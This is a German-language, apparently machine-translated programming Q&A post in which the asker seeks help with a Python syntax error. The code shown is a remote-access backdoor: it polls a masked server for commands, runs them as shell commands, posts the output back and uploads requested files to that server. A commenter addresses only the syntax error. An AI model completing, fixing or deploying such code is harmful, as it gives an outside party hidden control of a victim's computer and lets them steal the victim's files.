Ich versuche Datei mit post-Methode in Anfragen Modul in Python 3.5 zu schicken, ich bin Fehler bekommen "ungültig syntex" in diesen Zeilen sprachSend-Datei mit POST-Anfragen in Python3 [Fehler: ungültige syntex]
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
Der vollständige Code lautet wie folgt.
import requests
import subprocess
import time
import os
while True:
req = requests.get('htttp://########')
command = req.text
if 'terminate' in command:
break
elif 'grab' in command:
grab,path = command.split('*')
if os.path.exists(path):
url = 'http://#########/store'
files = ('file':open(path,'rb'))
r = requests.post(('htttp://#########', files= files))
else:
post_request = requests.post(url='htttp://#########',data='[-]
Unable to find file !')
else:
CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE,
stdin=subprocess.PIPE,stdout=subprocess.PIPE)
post_request=requests.post(url='htttp://########',data=CMD.stdout.read())
post_request = requests.post(url= 'htttp://######',
data=CMD.stderr.read())
time.sleep(3)
Ihre erste Zeile ist nicht korrekt Python-Syntax, was versuchst du zu tun? Wenn dies ein Diktat sein soll, brauchen Sie geschweifte Klammern statt Parens – Axnyff